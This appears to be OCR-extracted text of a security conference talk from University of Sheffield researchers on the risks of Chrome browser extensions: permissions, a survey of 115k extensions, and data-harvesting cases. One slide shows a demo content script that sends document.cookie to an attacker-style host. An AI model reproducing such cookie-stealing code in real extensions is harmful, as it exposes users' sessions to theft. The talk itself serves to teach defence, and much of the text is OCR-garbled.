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The Evil Friend in Your Browser

Abstract

On the one hand, browser extensions, e.g., for Chrome, are very useful, as they extend web browsers with additional
functionality (e.g., blocking ads). On the other hand, they are the most dangerous code that runs in your browsers: extension
can read and modify both the content displayed in the browser. As they also can communicate with any web-site or
web-service, they can report both data and metadata to external parties.

The current security model for browser extensions seems to be inadequate for expressing the security or privacy needs of
browser users. Consequently, browser extensions are a "juice target" for attackers targeting web users.

We present results of analysing over 2500 browser extensions on how they use the current security model and discuss examples
of extensions that are potentially of high risk. Based on the results of our analysis of real world browser extensions as well as
our own threat model, we discuss the limitations of the current security model form a user perspective. need of browser users.
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What are extensions: user perspective
What are extensions: developer perspective
Little shop of horrors
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Browsers are the new operating systems

Google Chrome @

I bk Please close all Google Chrome windows and try again.
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Browsers are the new operating systems
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Protecting Web Users

- HttpOnly
- Same-origin policy

= Content Security Policy (CSP)
'-




/ owARsP
!" ! AppSec EU

Security of web browsers

= The major browser vendors
= take security seriously
= investing a lot in making web browsers
secure and trustworthy




/ owARsP
!" ! AppSec EU

Security of web browsers

= The major browser vendors

= take security seriously
= investing a lot in making web browsers
secure and trustworthy

= We have a good basis for secure web applications




/ owARsP
!" ! AppSec EU

Security of web browsers

= The major browser vendors
= take security seriously
= investing a lot in making web browsers
secure and trustworthy

= We have a good basis for secure web applications,
until we add extensions:

= can extend/modify the browser
= anybody can write/offer them




/ owARsP
!" ! AppSec EU

Security of web browsers

= The major browser vendors
= take security seriously
= investing a lot in making web browsers
secure and trustworthy

= We have a good basis for secure web applications,
until we add extensions:
= can extend/modify the browser
= anybody can write/offer them
= might tear down the defence from inside
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Browser extensions

= Add-ons extending your browser

=" Google says:
= small software programs
= little to no user interface

ogle Chrome - Chromium

@ What are extensions?  x

& C | @ httpsy/developer.chrome.com/extensior

@ chrome - -

What are extensions?

Learn Basics

or the Google Mail Checker extension.

s bun i load:
hat, unlike ordi ba jons dont need ndonc

an distribute your extension using the Chrome Developer Dashboard to publish o
Web Store. For more information, see the store developer documentation.

How do | start?

Follow the Getting Started tutorial

he Overview

ate by reading the Chromium blog.

Subscribe to the chromium-extensions group

Featured videos

Technical videos

PLATFORM ~

e Chrome
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Animal Crossing Music - Chrome Web St

& Animal Crossing Music X

Browser extensions z E—

Rpoopic %] @
] . —a
=" Add-ons extending your browser Animal Crossing Music
L | FRA AR
=" Google says:
overw — p— R
= small software programs .

= little to no user interface

& websice
© Report Abuse

Additional Information




Browser extensions

= Add-ons extending your browser

=" Google says:
= small software programs
= little to no user interface

= What we find:
= complex and large programs
= sophisticated user interfaces

<«

& Animal Crossing Music X

Animal Crossing Musi

C | @ https//chrome.google.com/webstore/detailianimal-crossing-r

"+ Animal Crossing Music

kg

OVERVIEW REVIEWS SUPPORT
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Browser extensions

& Animal Crossing Music X

€ C | @ hups/ichrome google.com/webstore/detall/animal-crossing-music/fcedlaimpcfc mmfibkklpioop?hl= % | BB 3

= Add-ons extending your browser

=" Google says:
= small software programs
= little to no user interface

= What we find:
= complex and large programs
= sophisticated user interfaces

Crossing Music

OVERVIEW REVIEWS SUPPORT RELATED.

= What extension can do:

= modify the user interface
(how your browser behaves)
= modify web pages
(what you see)
= modify web request
(what you enter)

& websice
© Report Abuse
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Let’s search for a simple calculator

Chrome Web Stol omium
& Chrome Web Store - © x la)
& > C | @ htps//chrome.google.com w| @\
~ chrome web store abrucker@sheffieldacuk ~ | &

Apps

Games.

Extensions

Themes

Clip everything to Nimbus Note

All ©

Runs Offline
By Google
Free

Available for Android

Works with Google Drive P
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Let’s search for a simple calculator

Chrome Web Store - Extensions

/ & Chrome Web Store - & x '\

& > C | @ hips/ichrome.google.com/wel Tr | @

~ chrome web store abrucker@sheffieldacuk ~ | &

Apps

Games

[ J [

-

Themes u

A—
CATEGORIES
All A

= Your Personal Emoji

Runs Offline

By Google
Free

Available for Android

Waorks with Google Drive ot 0
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Let’s search for a simple calculator

<

= Chrome Web Store -« x

@ | & hetps://chrome.google.com/w

£~ chrome web store
caleulator
«Home | Reset filters
Apps

® Extensions

Themes

Runs Offline
By Google

Free

Available for Android

Works with Google Drive

Clear

Chrome Web Store - calculato

CloudY

CalculatoR

abrucker@sheffieldacuk - | g

Cloudy Calculator
bwrobinett

A shackingly versatile calculator for Chrome. (Formerly
Chromey Calculator)

Calculator

calechromedey

A beautiful scientific calculator inspired by the iPhone
caleulator!

Calculator Widget

offered by www.listlabelship.com

This add-on is for users of Fulfillment by Amazon (FBA). When

wing an Amazon product page you can click the calculator

DPI Calculator

offered by wwiisaged2.com

ADPI calculator for Android develop

and designers

+ ADD TO CHROME

Productivity

Heedok K (1057

+ ADD TO CHROME

Productivity
Fokkh

+ ADD TO CHROME
Shopping

Hokd

# ADD TO CHROME
Developer Tools

KRR (20
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Let’s search for a simple calculator

hrome Web Store

& Caleulator - Chrome V' x

& G| & https//ichrome.google.com/

‘@ - Calculator

AR (380) | Productivity

OVERVIEW REVIEWS RELATED

le with your

A beautiful scientific calculator
inspired by the Phone calculatort

Get this extension to have fast access to.a
calculator!

One click and the calculator is therel
Really useful.

Please don't forget to rate § stars * % % *

Please share this with your friends - give ita
Plus1

© Report Abuse




<

& Caleulator - Chrome V' x

@ | & hetps://chrome.google.com/w

"& | Calculator

FA K (380)

OVERVIEW

Proguctivity

REVIEWS

fa.

Let’s search for a simple calculator

Calculator - Chrome Web Stors

Add "Calculator"?
It can

o Read and change all your data on the
websites you visit

Add extension

patible with you
A beautiful scientific calculator
inspired by the Phone calculatort

Get this extension to have fast access to.a
calculator!

One click and the calculator is therel
Really useful.

Please don't forget to rate § stars * % % *

Please share this with your frien
Plus1

© Report Abuse
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Let’s search for a simple calculator

& Caleulator - Chrome V' x

<« C | @ https//chrome.goagle.com/w

Calculator for Chrome

powered by cheapcheap.io

O @

Abeautiful scientific calculator
inspired by the Phone calculatort

Get this extension to have fast access to.a
calculator!

One click and the calculator is therel

Really useful.

Please don't forget to rate § st

re this with your friends - give ita

© Report Abuse

la)
I
— Add "Calculator"? x
'@ - Calculator ﬁ
« Read and change all your data on the
st e | B et canges
OVERVIEW REVIEWS e G+ 213
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Malicious extensions are a real threat to users (1/2)

[ ¢ |6

Go gle dell support number Q

I+ support - number&-8ispf=3 O ~ @& & H G dell support number - Goo, ‘ ‘

All News Videos Images Maps More Settings. Tools

About 6,48

0 results (0.58 seconds)

Dell 7 Customer service De”

Computer company

Dell Inc. was an American pi
8622009987 multnational compter techr
company based in Round R¢
United States, that develope
repaired, and supported com
related products and service

Fesdback Customer service: 1800 42
Technical support: 1300 4

Contact Dell Support | Dell US Headquarters: Round Rock

www.dell.com » Support » Contact Information = United States

Find Dell Support channels like email, chat, and telephone numbers for your Dell computer. N P


https://www.bleepingcomputer.com/news/security/adware-replaces-phone-numbers-for-security-firms-returned-in-search-results/
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Malicious extensions are a real threat to users (1/2)

&)
B Adware Replaces Ph x

<« C 1} | @ Secure | hitps://www.bleepingcomputer.com/new

e @y | €

Adware Replaces Phone Numbers for Security Firms Returned in
Search Results

By Catalin Cimpanu

A new adware family named Crusader will rewrite tech support phone numbers returned in Google
search results, display ads, and show popups pushing tech support scams.

Current versions of Crusaders are installed on victims' computers via software bundles. Users

T

P
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Malicious extensions are a real threat to users (2/2

s Nackt im Netz: Millon X WA

<«

C (Y & https//www.ndrde

Debianorg  LatestNews  Help

NI.DR[je Nachrichten
!

25 Beste am Norden

Panorama

Nackt im Netz: Millionen Nutzer etowe

ausgespaht

Was wir im Internet tun, zeigt, wer wir sind: Einkaufen, Bank-Geschate, Reiseplanung \ LIS EIT D
Glasfaserstadt i Norden

oder Porno - alles geschieht online. Multinationale Firmen machen aus diesen

Informationen ein Milliardengeschaft. Sie sind in der Lage, jeden Schritt

mitzuzeichnen, den User im Intemet Diese verkaufen sie "7

dann in Paketen weiter - angeblich anonymisiert und ohne Schaden fiir den Nutzer.
Recherchen des NDR zeigen indes, wie einfach sich diese Daten konkreten
Personen zuordnen lassen und wie umfangreich sie intime Details aus dem Leben Netzwelt persicht
der Nutzer preisgeben

Mit neuer App den Wegzu Gott finden

28 NDR Netzwelt bei
F9e

Twitter

Bleiben Sie informiert

und treten Sie mit uns in Kontakt. extern

= Web of Trust (WoT) logged all web requests


https://www.ndr.de/nachrichten/netzwelt/Nackt-im-Netz-Millionen-Nutzer-ausgespaeht,nacktimnetz100.html
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s Nackt im Netz: Millon X WA

€ 5 C O ahups ndr.de
pps  Debianorg  LatestNews  Help

NI.DR[je Nachrichten
!

25 Beste am Norden n

" Web of Trust (WoT) logged all web requests
= and sold the data to third parties

Panorama

Nackt im Netz: Millionen Nutzer etowe

ausgespaht

Was wir im Intemet tun, zeigt, wer wir sind: Einkaufen, Bank-Geschatte, Reiseplanung LIS EIT D
Glasfasrstadtm Norden
oder Porno - alles geschieht online. Multinationale Firmen machen aus diesen

Informationen ein Miliardengeschaft. Sie sind in der Lage, jeden Schritt

mitzuzeichnen, den User im Internet Diese verkaufen sie "7
dann in Paketen weiter - angeblich anonymisiert und ohne Schaden fiir den Nutzer. Mitneer App den Wegzu Gott fiden
Recherchen des NDR zeigen indes, wie einfach sich diese Daten konkreten

Personen zuordnen lassen und wie umfangreich sie intime Details aus dem Leben Netzwelt persicht

der Nutzer preisgeben.

ABONNIEREN UND MITREDEN

NDR Netzwelt bei
o
Bleiben Sie informiert

und treten Sie mit uns in Kontakt. extern
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s Nackt im Netz: Millon X WA
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Nackt im Netz: Millionen Nutzer etowe
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Was wir im Internet tun, zeigt, wer wir sind: Einkaufen, Bank-Geschate, Reiseplanung LIS EIT D
Glasfaserstadt i Norden

oder Porno - alles geschieht online. Multinationale Firmen machen aus diesen

Informationen ein Milliardengeschaft. Sie sind in der Lage, jeden Schritt

mitzuzeichnen, den User im Intemet Diese verkaufen sie "7

= Web of Trust (WoT) logged all web requests
= and sold the data to third parties

= A German TV station bought the data
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s Nackt im Netz: Millon X WA
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=" Web of Trust (WoT) logged all web requests
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Was i i et n, zigwerwirsin; Enkuten, Bk Geschite, Refseplaning mm WaEEE I « “de-anonymized” it
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Informationen ein Millardengeschaft. Sie sind in der Lage, jeden Schrit
mitzuzeichnen, den User im Internet Diese verkaufen sie "7
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Mit neuer App den Wegzu Gott finden
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Malicious extensions are a real threat to users (2/2)

s Nackt im Netz: Millc

|
NpR de Nachrichten
Das Beste am Norden ™
=" Web of Trust (WoT) logged all web requests
Panorama ™ . .
) ) =" and sold the data to third parties
Nackt im Netz: Millionen Nutzer etowelt ™ Ac TV station bousht the dat
u o erman TV station bou e data

ausgespaht e - &
Was i im et un, zig werwirsin; Enkauten, Bk Gescrate,Reisepanung |\ /2sctvderte « “de-anonymized” it
oder Porno - alles geschieht online. Multinationale Firmen machen aus diesen A
Informationen ein Milliarden haft. Sie sind in der L , jeden Schritt L} o
iurechnn,den User i nerntemehmen. Diese hmatonen veraensie «" and found critical data, e.g.:
dann in Paketen weiter - angeblich anonymisiert und ohne Schaden fiir den Nutzer. Mitneuer App den Weg2zu Gott finden " .
Recherchen des NDR zeigen indes, wie elntach sich diese Daen konkreten « tax declaration of a member of the German
Personen zuordnen lassen und wie umfangreich sie intime Details aus dem Leben Netzwelt persicht N
der Nutzer preisgeben parliament

= details about international search warrants

M NOR Netzwelt bei ]
f TQ Twitter -
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The architecture of browser extensions

Tab
DOM
(Origin A)

Extension
- Permissions

iframe

DOM
(Origin C)

- CSP

popup.html
+ Scripts.

Site Site Content
Scripts Scripts Scripts
T T

{postMessage

T

T

Web Browser

m connectabie)

[HTMLS API

sendNativeMessage

](Allowed Plugin)

Operating System

(

T T

&= (

usBe ] [ Camera ]
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"update_url": "https://clients2.google.com/service/update2/
"name": "Test_ Extension",
"version": "O0.1",
"manifest_version": 2,
"description": "Thisyisjagpharmless_extension...",
"permissions": [
"tabs", "<all_urls>", "webRequest"
o
"content_scripts": [
{
"all_frames": true,
"js": ["content_script.js"],
"matches": ["<all_urls>"],
"run_at": "document_start"
}
1,
"background": {
"scripts": ["background.js"]

}
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Security mechanism: Permissions

Background Scripts Content Scripts
Two-dimensional permission system: Black and white: either injecting script, or not
= functional permissions: tabs, bookmarks,
webRequest, desktopCapture, ...
= host permissions: https://*.google.com,
http://www.facebook.com,
but also <all_urls> and https://*/*

Host permissions restrict effect of some functional
permissions


https://*.google.com
http://www.facebook.com
<all_urls>
https://*/*
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B Little shop of horrors
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Chrome Web Store

~ chrome web store

= Main way of distributing extensions
= We monitored 115k extensions over 3 months
= Wide variety of categories:
productivity 29.29%
fun 11.65%
communication  10.24%
web_development 9.15%
games 7.52%
accessibility 7.22%
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Extensions are big ...

35000
25000
30000
20000
25000
o o
s s
‘» 15000 a 20000
2 2
g g
= =
= 4 15000
* 10000 *
10000
5000
5000
. . . . . 0 . . . . :
<10kB  10kB - 100kB 100kB - 1MB 1MB - 10MB  >10MB <100  100-1000 1000-10k 10k-100k  >100k

Extension Size JavaScript LoC
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... and old

100000
80000
60000

- 15% use old jQuery version! (1.x or 2.x)
40000

# Extensions

20000

0 T T T T
0 1 3=3 5-10 >10

# of updates in 3 months
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Case one: Read all your history

= Permission: tabs or <all_urls>, or content script Add "Calculator™? ﬁ
on all sites

= Needed for many simple extensions It can:

= Can monitor your complete history, incl. full urls

¢ Read and change all your data on the websites
that you visit

Cancel Add extension
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Case one: Read all your history

= Permission: tabs or <all_urls>, or content script Add "Calculator™? ﬁ
on all sites

= Needed for many simple extensions It can:

= Can monitor your complete history, incl. full urls

- . ¢ Read and change all your data on the websites

= 34% of 115.000 extensions that you visit

= total downloads: 715m

Cancel Add extension
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Case two: Read and write all data on your websites

= Permission: <all_urls>, or content script on all Add "Calculator"?
sites
= Minimum level of permissions for many
extensions It can:
=" Gives full access to the web site » Read and change all your data on the websites

that you visit

Cancel Add extension
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Case two: Read and write all data on your websites

= Permission: <all_urls>, or content script on all Add "Calculator"?
sites
= Minimum level of permissions for many
extensions It can:
=" Gives full access to the web site & Read and change all your data on the websites
= 21% of 115.000 extensions ' that you visit
= total downloads: 615m

Cancel Add extension
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Case three: Circumvent security measures

o iccion:
=" Permission: <all_urls> and webRequest Add "Calculator"? ﬁ
= Can intercept and change all HTTP headers!
= Disable Content-Security-Policy, Same-origin
Policy, etc. It can:
== Breaks security guarantees of web browsers! ® Read and change all your data on the websites

that you visit

Cancel Add extension
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Case three: Circumvent security measures

. ision:
=" Permission: <all_urls> and webRequest Add "Calculator"? ﬁ
= Can intercept and change all HTTP headers!
= Disable Content-Security-Policy, Same-origin
Policy, etc. It can:
== Breaks security guarantees of web browsers! ® Read and change all your data on the websites
= 6% of 115.000 extensions | that you visit
= total downloads: 325m

Cancel Add extension
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It’s that easy...

michael@xl
content_script.js manifest.json

"permissions"
"webRequest

"content_scripts": [
{

1 _frames": true,
[ ript.
he [ _ur 1,
"document_start"

hael@xl cat content_script.js
var httpRequest = new XMLHttpRequest()
httpRequest.open , 'htt vil /?cookies=' + document.co
httpRequest.send(
michael@xl
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How can we make web browsing great™ again?

" great = ensuring the security, integrity, and privacy of the user of a web browser
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How can we make web browsing great™ again?

- Integrity:
= content modifications
= layout modifications
- Confidentiality:
= data storage
= transmitted data
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«" Privacy:
= access to sensors
= personal identifiers

" great = ensuring the security, integrity, and privacy of the user of a web browser
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Outlook: On the long term

- Sandboxing of extensions

" A different permission model
= granularity?

« dynamic vs static?

n .
=" Better explanation for users

L} . .

=" Better analysis/test tools for extensions
Expect updates from us in the future ...
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Outlook: On the short term (1/2)

Be aware of the risk
Check the vendor of the extension carefully
Check the permissions (i.e., active domains)

Use browser profiles




Outlook: On the short term (2/2)

Frequent updates Vs Governance
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Thank you for your attention!
Any questions or remarks?

Contact: Dr. Achim D. Brucker and Michael Herzberg B {a.brucker, msherzbergi}@sheffield.ac.uk
Department of Computer Science https://logicalhacking.com/blog/

University of Sheffield
Regent Court

211 Portobello St.
Sheffield S14DP, UK
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Except where otherwise noted, this presentation is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives
4.0 International Public License (CC BY-NC-ND 4.0).
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